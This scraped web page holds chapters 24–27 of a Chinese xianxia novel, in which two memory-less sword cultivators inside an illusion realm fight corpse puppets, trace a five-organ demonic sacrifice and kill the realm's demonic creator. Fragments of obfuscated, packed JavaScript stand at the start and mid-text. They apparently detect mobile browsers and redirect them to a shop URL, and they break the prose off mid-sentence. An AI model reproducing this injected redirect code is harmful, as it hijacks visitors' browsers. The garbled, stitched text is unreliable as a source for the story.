l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437514|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息极微,对赵行舟道,“你让他们出去,我只跟你一个人说。” 赵行舟动作一顿,小道士呆在原地。好在赵行舟反应够快,转身对小道士道,“那你先出去吧。” 小道士很不赞同,“师兄,怎么能放你一个人在这里,万一他要对你不利怎么办?” “放心,我命硬。”赵行舟把他往外推了一把,“行了,这里交给我,赶紧走吧。” 待小道士不情不愿走后,赵行舟又叮嘱他把门关好。不多时屋里只剩他们二人。 赵行舟慢条斯理地坐到某人身边,扫他一眼,再向后去看那根银色绳索,“这么难受,我给你解开?” 陈时易一副恹恹地养不活似的姿态,待赵行舟坐下了,视线反倒目不斜视地落在前方,“不必,这么说话也行。” 赵行舟啧了一声,手一挑就给他解开了,“人家都说了是刚刚给你绑上的,别一副好像被绑了几天几夜的样子。” 大约真是重病缠身,陈时易坐姿松散,闻言没什么血色的唇角勾了一下,“听你这意思,我倒应该被绑个几天几夜。” 这叫什么话?赵行舟斜着眼看他,“我本以为你在这幻境中修为尽失,该被制约得很难受。怎么此刻看你好像也没那么不自在。……” 忽然想到什么,赵行舟扫了一眼桌上散落的碎纸,又扫了一眼某人身后松开的银色绳索,眉头一动,慢慢了然道,“你总不会是知道我要来了,故意束手就擒给我看的吧。” 陈时易微滞。 看这反应,真叫他给说中了。 空间突然陷入一种奇异的凝滞中,好一会无人说话。 过了片刻,有人闷着咳嗽了两声,态度冷淡,又模糊不清,“我重病在身,没有办法。” …… 赵行舟想不明白,此人顶着凌绝峰峰主的位置,到底是怎么说得出这种话的。 第一次,赵行舟对失去记忆这件事感到了棘手。就他目前想起来的这点记忆,和目前正在这人身上发生的事情,印象中可谓差出五个北洲去。 这中间到底经历了什么?总觉得事情没有那么简单。 摇了摇头,赵行舟决定先把思绪回归到正事上要紧,便拿起那几张碎纸问他,“这几张纸你从哪捡的。” “就在这个房间。”陈时易轻咳两声,低缓道,“我感知不到修为,应该不是为‘我’所用,多半是被有心人嫁祸的。” 点点头,赵行舟的第一反应也是如此,便翻看着纸张分析起来,“没想到竟会在这撞见五行祭鬼术,莫非这离天幻境的造境者,竟是一位魔修?” 五行祭鬼术是魔修中很低级的一门法术,手段却相当残忍。需找生辰八字符合要求的五个人,分别取其心、肝、脾、肺、胃布阵,以冤魂祭天,间接性的获取修为。若祭阵成功,这五个人会即刻魂飞魄散,再没有入轮回的机会。 联想到入境前地上那块魔骨,同一个福地洞天会出现两个人的骨头确实很奇怪,但毕竟有魔骨,会进入魔修的幻景也在情理之中。 陈时易则淡淡道,“尚不清楚。不过若真是魔修造境,倒好办很多。” 赵行舟知晓他的言外之意。若此境真是魔修造境,那满足心愿这个破境条件就作废了——即便明知一切是假的,赵行舟也不会为了破镜助纣为虐,这与他道心不符。 而破境的第二个条件便是——找出造境者,将其杀之。 当时这个办法之所以没告诉千奕,第一是因为这鸟战斗力约等于没有,此类打杀的路数指望不上一点。第二是这种破境方式过于简单粗暴,即便破境,也得不到一点传承奖励。 自然,这类奖励对于赵行舟而言无所谓,可对于小辈,仍是极大的诱惑。若无缘得取,还不如一开始就别抱期望。 二人眼神一对便有了对策,而后赵行舟想到什么,又微笑着打量起旁边人,心想这会你不装病说自己没办法了? 陈时易被人这样上下打量一番,视线收回来一寸,索性不坐着了。 人刚站起来,窗外传来异动,小道士慌张地破门而入,“师兄当心,今夜有鬼物入侵,冬冬师姐和大师兄已经先行赶往,我来取师傅的招魂幡!” 而后定睛一看,立刻急道,“师兄你,你怎么把他解开了!” 25. 第 25 章 “无妨,我已经搜过他的神。”赵行舟诌了个理由,免得小道士冲上来绑人,“这纸上记载的东西他一概不知,我们还是再去别的地方找找线索吧。” 小道士错愕,“师兄你……对他搜神了?” 数天前,琦渊薛从任对赵行舟用的,和陈时易对整个昆仑所用的,都仅是神识勘查。搜神术有所不同,虽同为低级法术,但用途比较特殊,常为正道修士所不齿。 但赵行舟目前是一个为了争风吃醋可以给同门下泻药的人,想来也不是什么正人君子,否则修真者对一个凡人使用搜神术就太过分了些。 果然,小道士听后没有怀疑赵行舟话中的真实性,只是不赞同道,“师兄,你这样回去,师傅又该责骂你不守规矩了。” 赵行舟去角落拾起招魂幡,听到这话,不免回想着他上次挨师傅骂是何年何月的事。 挨骂不记得,不过百年前谢海生提及搜神术时那副混不吝的态度,他倒记得。 “什么正的邪的。甭管谁搜谁的神,被搜的那个要怨也只能怨自己技不如人。勤修苦练,用实力说话,方为正道。有废嘴皮子的那功夫不如多练两剑。” 要不说昆仑凌绝峰风评一直以来都不怎么行呢,显然很早以前上梁就不正。 谢海生带徒弟全靠散养,态度鲜有尊卑上下之分。赵行舟修道百年来,无论在外面受多重得伤,只要能活着回去,他师傅就觉得万事大吉了。而他师傅的师傅,包括再往上的两任峰主,虽都未见过,但听传闻也都不是什么正经修士。 自古以来凌绝峰最大的传统就是谁拳头硬听谁的,是故每一任凌绝峰峰主的实力都异常蛮横,放眼修真界难有敌手。 至于其他的规矩,就相当松散了。 小道士不知道赵行舟在想什么,接过他手中的招魂幡,临出门前犹豫了一下,转头对王二道,“你……此事你不知情,算是我们冒失。”又道,“只是此事人命关天,若我师兄方才的做法让你不舒服了,你也别怪他,我向你道一声歉。” “你师兄?”不知是否因为痨病,王二这三个字念得不重,而后冷笑一声,语气阴测测的,“他若有话自己会和我说,用得着你来替他带嘴。” 这话态度十分不客气。小道士心中的愧疚立刻烟消云散。 论往常他们这些修士出入寻常人家,哪一次不跟神仙下凡似的,被供着被拥簇着。这次他们分文不取来帮忙,就算有些行为冲动了,也情有可原,何至于被人这样对待。小道士气道,“我师兄就算对你搜了神又怎样。他发现你是无辜之人之后,不是马上替你松绑了吗。你这人真是……” 说着,小道士提起招魂幡,对赵行舟不满道,“走,师兄,这人是非不分,我们做我们的正事去,别跟他一般见识。” 来此幻景被人叫“师兄”的次数,估计比他曾经几百年加起来都多了。赵行舟心里琢磨这事,笑着摇摇头,步子还没走出去,手臂被另一只手盖住。 伸过来的手指修长,泛着冷意,指骨分明有力,令人很轻易便可想象到其握剑时的样子。 可惜这只手此刻握着的不是剑,是赵行舟的臂弯,手主人的心思也全然不在修行上。陈时易语息低沉,字如碎冰似的往下掉落,“去哪?” 这只手在此时伸过来,平白给人一种不单为了拦人,更像是下意识在争夺某种权利的感觉。 雷息细如蛛丝从他张开的指缝间闪掠,戾气隐现。小道士无所察觉,听到一句反问,便不明所以地回头,“怎么,我们抓鬼你也要去?”赵行舟却察觉到了异样,立刻抬起手盖在抓着他的那只手上。 雷光细密,在赵行舟掌下有轻微蜇人的感觉,而后消失无踪。 剩下突出的骨骼感,看着冷,触感一层温热。 “既然是你家正在发生的事,按理该有主人在场,免得打坏什么东西要我们赔。”不等小道士说什么,赵行舟率先向后偏了下头,“你去也是应该的。” 和话语中的生疏不同,手掌传递过来的只有一个意思,很镇定,示意他不要乱来。 两个人的手几乎是一接触便同时松开了。 小道士一想,“说的也是,那你便随我们来吧。不过你要跟紧我们,不要乱跑。” 再去看王二,他不知在想什么,缓缓将一只手负于身后,有些无法集中精神的样子,只盯着一个方向出神。这动作让他做出来仍显得冷傲。而后他一言不发地侧身出了门。 “哎!我刚说了让他不要乱跑,他怎么走前面去了,待会被鬼冲撞了可没人管你!” 赵行舟跟着往外走了,心想,担心他?不如多担心担心鬼吧。 -- 府邸正门,阴气从外渗入门缝,沿着青砖地板往内涌入。 “砰”、“砰”,有重物撞击大门门板,一下一下,无序而沉闷,此起彼伏,似乎在等人开门。 庭院围了五六个无脸仆从,手里拿扫帚、拿铲子的都有。不过看那个发抖的样子,只怕开门第一下就要做鸟兽四散了。 冬冬和千奕站在正对着门的地方,两个人的脸色都很凝重。小道士忙上前示意,“冬冬师姐,大师兄,我把师傅的招魂幡取来了!” 鹊妖被外面的声音闹得精神紧绷,听声一转头,不巧又看到那张酷似某人的吓人的脸。他浑身一哆嗦,腿一软险些跪下,连忙把头扭回去了。心里默念,冷静,冷静,此人和南仲君八竿子打不着,你别自己吓自己。 冬冬见到招魂幡,脸色稍缓,“还是师傅想的周到,此次多亏你们来了。”说罢看向门外,脸色变得很难看,“我真的没想到,此处竟会有人炼制尸偶。” “尸偶,那是什么?”小道士不解,好奇地几步上前,趴在门缝上往外瞧。“门外的难道不是鬼吗?” 正说着,一个浑浊的眼白忽然紧紧贴着门缝,像一只烂掉的鱼眼,与小道士对视正着。 腐烂的恶臭混合着阴气涌入,不是虚无缥缈的鬼,分明是死人的气息。小道士一惊,脸色发白倒退了几步,招魂幡险些掉在地上。 “是什么?唔……”小道士捂嘴,勉强忍住恶心。他虽是修士,但尚且年少,修为也仅仅处于炼气初期阶段。说到底只是比普通人身体稍微结实些罢了,哪里经历过这种场面。 冬冬比他好一些,但修为也不过筑基初期。她脸色也不比小道士好多少,道,“尸偶,之前听师傅说起过,我也是第一次见。生时惨死,以怨气结契,死也不得安宁,是那些丧心病狂的魔修惯会用的御尸手段。” 说到这,冬冬脸上浮现出担忧又深恶痛绝的神情,“我们正道之士,与魔修相见,定是个不死不休的局面。你要速速把此地情况传信与师傅,在师傅来之前,我们四人绝不能出事!” “好、好。”小道士有些慌了,他手忙脚乱从怀中取出一个纸鸳,那纸鸢颤动了一下翅膀,慢慢飞到天上,然后飘出府邸围墙。 赵行舟听到尸偶时,也感到意外。 尸偶确实是魔修惯用的御尸手段。低阶魔修拿普通人来炼,高阶魔修则拿修真者来炼。越是道行高深的修行者,被炼制成尸偶的难度就越高。而一旦炼制成功,尸偶甚至会保留其生前近七八成的实力,非常难缠。 门外这个尸偶虽是用普通人炼制的,但因其死物的特质,炼成之后□□强度会远胜于生前。一般炼气阶段的修士遇见,估计会陷入苦战。 更别提小道士这种初出茅庐什么都不懂的。 要说五青派这几个弟子运气实在不怎么样。赵行舟他们身为局外人,亦只能静观时变,不可改变大局。 天上那个纸鸢还未完全消失,比起尸偶,这个纸鸟更吸引赵行舟的注意力。他退后一步,思索着对身旁人开口,“这纸鸟,我总觉得在哪见过,你有没有什么头绪?” 声音极低,大家都被门外的尸偶牵引注意力,没人留意到这边两个人。陈时易审视片刻,低声答复,“有些像琦渊仙鹤传书,但相差甚远。此前没有听闻五青有这类传信方式。” 琦渊的仙鹤传书赵行舟见过,符箓以特殊口诀一引,立时便化做一道青光飘渺飞鸟,仙气凛然,日行千里,是琦渊赫赫有名却不外传的传信工具。和眼前这个粗劣的纸鸟确实没有可比性。 不过,五青派作为没落已久的远古名门,有很多不为人知的招式,也是正常。 正门木板碰撞声一下大过一下,不多时门上已遍布裂纹。冬冬低喝,“不好,这个门撑不了多久了。大师兄有伤在身,不宜迎战,待会就由我和三师弟先上。小师弟,你照看好院子里的普通人。大师兄……” 说着,冬冬缓缓回身,眉目中含着散不去情意,担忧地望着他,“你一定不能有事。” 就这一下回头,让鹊妖直接呆在了原地。 大门应声而碎,一个面目狰狞的男尸从碎木头中爬起来,腐臭味立时扑面而来。无脸小厮见状尖叫着逃逸开来,冬冬从腰间抽出一柄软剑,怒喝一声,“无耻歹人,只会躲在暗处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冬冬后知后觉捡起软剑,发现自己的手还有点抖。小道士惊慌地爬到她身边,大喊,“师姐,你受伤了吗,没事吧!” 这个尸偶实际实力不强,她作为筑基初期的修士,本应该对付得游刃有余。可她未见过这种东西,生理上的恶心难以克服。一时竟落了下风。 冬冬有些茫然地看着庭院中和尸偶周旋的男人。乍一看上去像是难分胜负,但仔细看看,却好像他以避代守居多。冬冬心里忽然升起一丝没由来的疑惑,这位三师弟……以前就是这样的吗? 这时小师弟打破了她的疑惑,庆幸道,“三师兄虽然做了许多荒唐事,但对师姐你的情意还是真的!不然也不会第一时间就不顾自己的安危跑过来救你。师姐,回头我们要好好谢谢他。” “是、是啊……”冬冬讷然。 五青二人被不远处的阵仗吸引,没人发现王二是何时走到大师兄身后的。 千奕自己也没发现异常。他侥幸看着庭院中的打斗,心想,还好他落到一个身怀重伤的人身上,不然这种场面要让他上去,他还真一点办法没有。 正想着,千奕的单侧肩膀被人按住。 他没回头,准确地说是根本来不及回头。他连身后突然出现的人是谁都不知道,表情还维持在侥幸的神态上,就感知到一股子极冷的气息顺着肩膀直接冲入脑门。 下一秒,千奕失去了表情,也完全失去了自我意识。 但人还一动不动地站在原地,甚至眼睛还是睁着的,一副无事发生的样子。 这举动发生在瞬息间,王二按了一下他的肩膀就收回了手,转身回到原来站着的位置上。 然后,便见千奕面无表情,右手微动,抽出了腰间的软剑。 一步踏前。前几步走得有点像提线木偶,而后动作越来越快,没几下便来到了赵行舟和尸偶缠斗之地。 赵行舟不是解决不了眼前这个东西。只是他目前修为和招式都受限,大约就是和冬冬差不多的实力。若赢得太轻松,显然不符合他的设定。 正当他在思考如何赢才能显得逼真一些时,千奕竟然莫名冲过来。 只见这位“大师兄”,目光无神,动作无比精准。反手一剑挑断了尸偶的左手,再翻身一踢,将尸偶踢出去数尺。 一剑横于赵行舟和尸偶中间。那柄平平无奇的软剑,此刻比平日更亮一分,覆盖着肉眼不可见的寒霜。 赵行舟看了看眼前人,又远望向月光下站着的一个人,当下便了然,不由得抽了抽嘴角。 打个炼气期的尸偶而已……你高阶夺魂?也太大材小用了吧! 26. 第 26 章 夺神像被动的请神上身,最多可坚持一炷香的时间。被夺的人会突然失去意识,抽离之后不会留下任何记忆。此术需要施法者对自己的神识有极精湛的操控力,是一门非常高阶的操控类法术。 赵行舟能一眼认出来不是因为夺魂术广为人知,相反,这个法术失传已久。他能认出来只是因为他对此术熟悉。在他印象中,除他以外没有第二个人会用的。 陈时易却会用。 这就有些微妙了。 生前赵行舟对操控类法术不算专精,会修习此术源于一场偶然的机缘——藏明月福洞里所得的那本破书。该册上记载的法术门类既杂又广,全是一些稀奇古怪门槛极高又没用的东西。有些广为人知,例如生死契,有些闻所未闻,例如夺魂术。 不想也知道陈时易这一手夺魂和谁学的。还有那个鸿蒙日炎真决——逼一个雷水双行的天根剑修去学离火系高阶剑诀,不是吃饱了撑的吗?赵行舟对曾经的自己也是挺无语的。 有人顶在前面,他索性退后几步,开始观察局势。 低级尸偶目的单一,只会攻击离最近的目标。千奕不曾习剑,全身动作凭某人一丝神魂吊着。起先行走不够流畅,关节比肌肉先行动,显现出被强行牵引似的僵硬。 待赵行舟退出去了,千奕右身向敌,做了个引剑的起势。 这动作令赵行舟心头一动,莫名觉得熟悉。 刀剑在百家兵刃中并占头位。不同派系传承下来的剑法偏攻各有不同。 以昆仑为例,昆仑一向注重弟子的基本功,练剑弟子更要一直苦练直至同修为下辗转腾挪皆有余地才能下山。身法要快,腿功要举重若轻,对战时可攻亦要能守。 凌绝峰又在昆仑剑法大势上自成一派,基本功修炼极其严苛,修出来的剑修无论杀位控位皆比一般派系更为苍劲。杀位磅礴凌厉,善以攻代守;控位轻出重收,善借势打势。二者看似修行方向不同,实则师出一脉,本质相通。其下门训曰:目有所见,则必然成! 这句训言被凌绝峰初代峰主用剑代笔,刻划在古松旁一块扁平的巨石上。朴实沧桑,千年后依然残留着惊人的剑意。赵行舟初见此话时曾被震住,心里一种不可言述的震动延续许多年,至今想来仍然难忘。 赵行舟恍神之际,尸偶张牙舞爪扑向千奕,锋利的尖指甲转瞬抓到他眼前。 千奕双目空洞,虽行走动作僵硬,招式却极精准有势。先送右身,松腕撩剑应势上扫。对立之际,众人还没看清动作,一只灰败的手臂已随剑光飞旋出去,甩出一大滩黑色浓稠的血液。 尸偶连根失掉左臂却感知不到疼痛,挥着右爪扑面击来,势头不减,转身就要掐住千奕的脖子。冬冬吓得花容失色,“师兄小心!”却见千奕不退反进,斜迈右脚,左臂滚肘向上拦下一击,再换右手猛地横向前拉过一剑。 尸偶顿在原地,全身抽搐了一下,咽喉处开裂,脖颈分离,头颅一歪重重掉落在地上。 千奕随头颅落地收了剑势。 没有修为伴身,也没有剑意相佐,三招两剑,招招干净利落。 冬冬呆在原地张着嘴巴,小道士率先反应过来,抓着招魂幡踉踉跄跄向千奕跑过去,“大师兄你没事吧,你的伤有没有受影响?” 千奕蓦地浑身一颤,目光渐渐有了焦距,表情从没表情过渡到了呆滞。 筑基后期打最低级的尸偶实力是压倒性的,陈时易此番夺魂并没有引起幻境注意。 被小道士一唤,冬冬一下子回了神,连忙紧张地跑过去。 若有第三个相熟的人在场,见过赵行舟当日与狼妖居胥的一战,再来看此时,便会感知到一种难言的相似感。 虽二人招式不尽相同,可被束缚下透出来的气势却逼近神似。 透过千奕,赵行舟隐约看到了另一个人的身影。周身浮着将收未收的滚雷,剑势收尽,眉眼如覆了一层薄寡的霜雾,疏冷之极。 百年前,剑骨天成,出类拔萃。目有所见,则必然成。 到底是师出同门。赵行舟想,某些时刻,直觉竟会比记忆先行。 小道士和冬冬你一言我一语缠着千奕问话,他听了几句没听懂,想到离天幻境特殊,不敢反问,只能呆呆看着自己手中的软剑。 而后扫了一眼无头腐尸,那颗头正好掉在他的脚边。千奕呆滞两秒,突然“咦”了一声。 “这不是村里失踪的那五个人之一吗?” 此话一出,院中人目光全部汇聚过来。千奕见大家不解,忙解释道,“我原先调查时一并调查过每个人的特征,其中一个老光棍左眼下有块褐色胎记。这人脸虽然都快烂了,但胎记还是看得出来的。” 赵行舟闻言,快步走到尸偶的躯体处观察,果然在尸体两肋处看到腐烂剖开的伤口。 “肺让人挖走了。” 千奕联想到那份五行献祭的残稿,倒吸一口凉气,“像这样的东西,不会还有四个吧?!” 五行祭鬼术需要五个人的脏器,村中也正巧失踪了五个人,答案不言而喻。赵行舟不答话,开始扫视四周。 操控尸偶的人不会走太远,魔修只能是张员外府中某个人。他在脑中仔细回忆起遇见的每一个人,目光在冬冬和小道士的脸上一一掠过。 这时,内庭房梁上毫无征兆掉下一个黑影,脖子和梁木上死死勒着绳索。他身形佝偻发丝灰白,被吊在半空中,肢体痉挛双手抽搐,喉咙中发出“嗬嗬”地声音,像是极为痛苦,在被勒死的边缘。 整个庭院的温度骤降,阴冷的气息贴肤激起一层战栗,和刚刚尸偶出现时截然不同! 小道士听到这类尸偶还有四个,已是魂不守舍,眼下突然掉下来一个人,差点他吓得叫出来,“师兄,师姐,有、有人吊在那里!” “等等,是鬼!”冬冬拉着千奕和小道士往后退了两步。谨慎地神识探过去,却感受到微微刺痛,她的脸“唰”地一下白了,“筑基……中期的鬼!” 小道士惊骇地看过去,筑基中期,甚至比冬冬和三师兄都要厉害一些! 而后,似乎收到此鬼的召应,大门处影影幢幢出现四道身影。死气沉沉,拖着残败的身体,一步一步往庭院走来。 吊死鬼在后,四个尸偶在前,几人被夹在中间,一时间进退两难。 小道士见状几乎要哭了,“师姐,这可怎么办,我给师傅的信刚刚送出去,他老人家最快也要明天才能收到。我们,我们不会死在这里吧!” “不会的。”冬冬脸上血色尽失,强撑着冷静思考,“师弟,你听我说。待会我和大师兄、三师弟会优先解决尸偶。你手上有招魂幡,这个恶鬼一时半会奈何不了你,你就负责守好后方。如果顺利,我们解决了尸偶就来助你。但如果真的最后被逼到绝路……” 冬冬定了定心,突然转头看向赵行舟。月下万籁俱寂,她纵使低声说话,依然能被在场的所有人听到,“三师弟,我没有求过你什么。只想求你这次可以不计前嫌。如果一会出了事,你可不可以带大师兄和小师弟先走?” 赵行舟没有说好。他的人物设定好像不可以答应得这么干脆。他反问道,“那你怎么办?” “我来断后。”说着,冬冬攥紧了手中的软剑,就要向尸偶走去。她声音有些发颤,但决心十足,“你不必管我,到时只管带他们离开,我自有办法。” 鹊妖千奕却下意识拦住她,“等等……” 冬冬回头望了一下,千奕失神看着冬冬。直觉告诉他,告诉眼前的形势很危险,冬冬过去是九死一生。可他仍不知道为什么会下意识拦住她。 冬冬明明是个假人,她在这个幻境中是死是活,和他又有什么关系呢? 冬冬像是看出了千奕的担忧,眼眶不免发红,却摇了摇头。这时内庭悬梁绳索突然脱落。被吊着的老人不再挣扎,无形 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两个人站在一起,毫无焦急之意,甚至还有闲情低声说些什么。看那样子,不知道的还以为二人半夜是来院子里赏月的。 千奕呼吸一滞,看着这二位,不知怎的突然就没那么慌了。 首先,这个树妖确实有些真本事在,这类尸偶他应该有办法解决。其次……他旁边那位长得比鬼吓人多了好吗! 若说昆仑是斩妖除魔心狠手辣第一名门,那昆仑的南仲君就更不必提。单长了一张与之相似的脸,就足矣妖见了妖哭鬼见了鬼叫了。 “这地方果然不对劲。我之前见过王员外的画像。府内对此人的事只字不提,我本以为他只是不在家。”千奕咽了咽唾沫,不敢看赵行舟的方向,只能硬着头皮道,“没想到王员外死了,我们都被骗了。” 刚死的鬼很难滋生出如此浓重的怨气,除非生前有过特殊遭遇。比如惨无人道的虐待,再或者——死于至亲之手。 说着,千奕不由得再次观察起王员外,随后心生一丝诡异的同类感。 不得不说,仅余光瞟到那张酷似南仲君的脸,再看厉鬼就觉得亲切多了。 反观庭院另一侧。 吊死鬼的身份没有令赵行舟感到意外。他想了一下,低声对身边人道,“这里交给你,我去找你‘大哥’,怎么样?” 陈时易应了一声。千奕这边还没脑补完某人端着这样一张脸出现在昆仑其他弟子面前该是什么场景,突然表情一空,又失去了意识。 夺魂只有一炷香的时间。 赵行舟走之前,扫了一眼千奕,忍不住回头好奇道,“话说回来,我当初为什么要教你夺魂?这玩意儿门槛又高又难练。还有鸿蒙日炎真诀,雷水系剑修学那个纯粹是浪费时间,你为什么要学?” 陈时易目光顿了一下,看向他,眼里有几分明知故问的意思。 赵行舟挑眉,“怎么不说话。” 陈时易微微吸了一口气,语气与其说是冷淡,倒不如说是无奈,“你想逞当师兄的威风也不是一天两天了。你当初逼我学的又何止这两个法术。” 赵行舟一愣,反倒意外地笑起来,“真是我逼着你学的?怎么回事,我逼你你就肯学?” 如此不顾他人意愿,非要教自家师弟几个屁用没有法诀,也确实是他这种闲人能干出来的事。不过…… 脑子里翻了翻仅有不多的记忆,当初某人刚入门时那个狗脾气,单是嘴上占占便宜都立刻呲牙咧嘴起来了,没成想还有这么肯听话的时候。这岂不是往他传统印象中的师兄弟关系靠拢了嘛。 陈时易喉咙里“嗯”了一声,没什么情绪,“这些又不难,看两遍就会了。”而后想到什么似的,薄唇微抿,再以两个人勉强能听到的声音向赵行舟表态,“算不上你逼我的,我又没说我不愿意。你让我学什么我没学?” 27. 第 27 章 赵行舟难得被噎了一下。想说点什么,最终因为什么都想不起来选择闭嘴了。 尸偶冲入院内,阴魂盘踞不散,五行祭鬼术布阵元素一并汇聚于此,意味着今晚魔修势必会动手。 正事要紧,赵行舟想了想,还是在走之前对陈时易撂下一句话,“我没修过探位,找人找位置都需要时间。”言外之意,你不要杀得太快,你杀得太快了我找不到人。 陈时易闻言却笑了一下。那种笑是赵行舟未曾见过的,目光轻雾般不再显得疏离,反而温和。他轻声念道,“赵行舟,真难得。” “什么?” “你还有觉得自己不行的时候。” 陈时易眼角微微上挑,眉眼清俊泛冷,连心情好时都隐含薄薄的锐气。赵行舟顿了顿,转过身嘴角也撩起一丝笑,“你说什么?” 这下是货真价实的挑衅了。 就算他赵行舟回炉重造,如今和眼前人实力差出一百个北洲,但面对自家师弟的出言挑衅,他还是忍不了,再过八辈子也不行。 对方显然知道他重复第二句不是单纯在反问。 赵行舟嘴角的弧度有些轻慢,陈时易挑衅的目光却也不避。两个人互不相让对视了一会,陈时易含笑轻声问他,“赵行舟,你是不是生气了。” 赵行舟却换了一个问题,“我以前教了你这么多,有没有教过你见了师兄要叫师兄?” “教过。” “怎么不听你叫?” “你以前不管这个。” 放屁吧。 眼下没有记忆,赵行舟想反驳也没有依据,“那我便现在管了可不可以?” “可以是可以。” 对方话意未尽,赵行舟挑明,“你说。” 还是那种笑意,陈时易掀起单薄的眼皮看他,“你现在打不赢我了,要怎么管?” 赵行舟反应倒是很快,哼笑一声,“哦,打不赢你就不能当你师兄了是不是?” 这话说的不像认真,却也不像玩笑。陈时易闻言一顿。 针锋相对的笑意敛去几分,盯住赵行舟的脸,“我没这么说。” 赵行舟打量对方两眼,神态好似池塘里晃着的一圈月影,突然被方寸外的打斗声吸引。视线巡回庭院中,注意力被转走了,声音也变得遥远,“我峰一向以实力说话,一个称谓而已,眼下你实力强,该你说了算。” 他们这厢闲聊,不耽误千奕在场中和三个尸偶打得有来有回。冬冬面对尸偶逐渐找到了节奏,有了招架之力,就是下手太轻,不足以限制住尸偶的行动。 只留后半场小道士一人抓着招魂幡,和鬼对峙,抖得和筛糠似的。 趁旁边人愣神之际,赵行舟看不下去了,对远方小道士喊了一声,“喂。” 背过的手腕一下子被人抓住了,力道不轻。有人冷下嗓音,颇为强硬,“赵行舟,我没有这么说过。” 这时小道士也回头,脸白得跟蜡烛一样,看赵行舟一眼就快哭了,“师、师、师兄。” 看看,这位虽然是假的,可比真的自觉多了。赵行舟语重心长地又唤了声,“师弟啊。” 前后两道目光同时锁定他。几百年没给人当过师兄,真不记得当师兄是什么感觉。赵行舟抬起空着的那只手,双指并拢做示范,“招魂幡可以用灵识引导,你可曾学过什么御灵的口诀么,不要一直傻站着……?” 嘱托的话停住。 有人在他身后握力加深,低声说了一句什么,不仔细听,倒以为恳求似的。 “师兄,别说了。” 这二字念出来,跟别人念出来的感觉天差地别。 赵行舟有一瞬间的走神。 恍惚间漫天红光覆于眼前,有人从空中跌落,守护阵随身死破碎。有人撑剑站在他前面,倔强倨傲,血染满身,只身敌众不肯走。 那日光比月下更凉几分。赵行舟心脏绷紧,像是被人下死力攥了一把,右手不自觉颤动一分。 说不出是为什么,他下意识回头看去。 血光中那张重伤濒死的脸被补全了。 没有示弱,掠过耳边的恳求之意也好似幻觉。那双眼中始终没有很重的情绪,却似刮刀,刀刀见骨。陈时易道,“你想管什么管就是了,难道我不听你就不管了么?” 袖袍下渗出一丝线样的黑水,垂落下来,未及地面便化散了。陈时易向着场中略移了下目光,“你再叫他一次,我就杀了他。我杀了他一样可以护你出去,你信不信?” 声音轻飘似雪,也像是从百年前来的。 右手不再颤抖。赵行舟侧身拦住他的目光,缓了口气,方才轻缓且慎重道,“师弟,收住你的心魔,不要让它在这里失控。” 眼前人微微一顿,赵行舟跟着放松声音,“不叫就不叫了,一个称谓而已,我没有那么在意。方才不过是想……”不过是想逗逗你。话头明明是你先挑起来的,谁想你这么不经逗。 也没想到因为这一句师兄,他会突破枷锁想起祭剑前的画面。握剑的手向来自持,什么时候抖过,这一刻竟也会抖。 “不在意,别人不过叫你两句‘师兄’,你表情都变了。”病容苍白,轻笑都显得气不足,“这么想给人当师兄,你有几个师弟?” “一个。”见那团黑气有抑制的倾向,赵行舟调节心情,伸手拍了拍陈时易的右肩,安抚意味深重,“好吧。虽然想起来的东西不多,但在不在意我还是能分辨的。谢海生生前只收过两个徒弟,别人叫破天我也只有一个师弟。怎么,难不成我还能代替死去的师傅收新徒弟吗?” 眼下他不过一个树妖的身躯,不及弱冠的模样。如此去拍陈时易的肩膀,倒像是晚辈在安慰长辈,还需要对方微微弯腰才能与之平视。陈时易不知道有没有被安慰到,“一个不好吗?” “一个正好。”这话赵行舟说得真心实意,发自肺腑。开玩笑,再多几个师弟师妹,一条命都不够祭的,还是算了吧。 和和气气聊了几句,赵行舟得以脱身去找破境线索。 五行木、火、土、金、水,对应五脏是肝、心、脾、肺、肾,对应方位是东、南、中、西、北。阴魂和尸偶汇聚于此,布阵者若想要阵法生效,必须待在阵内。 脏器已被取出,会依次分布在各个方位。赵行舟用时不多便在土壤中翻找出一块腐烂的软肉,辨别一下应该是肾。找到其中一个,再推剩下四个方位就简单了。 测算距离,在对应位置找到了心、肝、肺。最后赵行舟在东南方风窗后,找到了隐藏在此的人。 庭院中打得不可开交,王大公子从阴影中显出来,和赵行舟面对面,目光闪烁了几下,很有些咬牙切齿的意思,“是你。” 赵行舟废话不多说,右手一甩生出长枝,剑意缀于枝尖,锋锐之意尽显。不知为何,被他的剑意一激,王大公子额头亮起一个雾似的图腾,血染一般。而后对方目光一变,身体迅速开始衰老,侧身闪了过去。 不过一个呼吸间,王大公子面目全非,皮肤萎缩,变成一个身穿褐袍的苍苍老者。额头图腾忽隐忽现,双眼也染成诡异的暗红色。他的样貌和王大公子没有半分相似,审视着赵行舟,忽然像认出他那样,声音异常嘶哑,“是你,原来是你。” 幻境随老者变换样貌开始晃动。赵行舟忽然觉得有些不对劲,似乎有遗漏的细节在脑海中掠过,却来不及捕捉。 手中剑意再盛一分,斜挑直抹对方双眼。老者一招一避,忽而失常似的哈哈大笑道,“我认得你,我听说过你。你果然又回来了,那牛鼻子没骗人,真让老朽等到你!” 秘境里的疯子见多了,赵行舟沉了沉眼,不为所动。左手并双指顺着长枝一扫,立时闪过一层赤红色,比烈阳更灼目,只是转瞬即逝,逸散如星火。而后环身的微风渐起。 眼下以剑意带动全身,他能招引的风火元素极为有限,但短时间内仍有余地。反手以枝作剑,风声一停,原地直接擦出一道残影。 老者双眼一紧,躲避不及,被这一剑抹了咽喉。但他还是在笑,声音从破损的声带里流出来,漏风似的,“你杀了我,好啊,好啊!这可不是我一个人的离天幻景,你杀了我没有用,还不明白吗?天道有损,三界失衡。洞天秘境和从前大不一样,早就乱翻天了!” 不是一个人的离天幻景?赵行舟全身剑意未消,目光灼烈地看向他。离天幻境由人生前残念构成,一份残念,怎么可能容纳两个灵魂? 又想到入境前的小福洞,两个残缺的骨头,一个魔骨,另一个……是人。 魔族歪倒在地,声音刺耳,讥笑着断了气,“魔种没有丢,我辈迟早……魂归赤土,会自由的……哈哈……会自由的……” 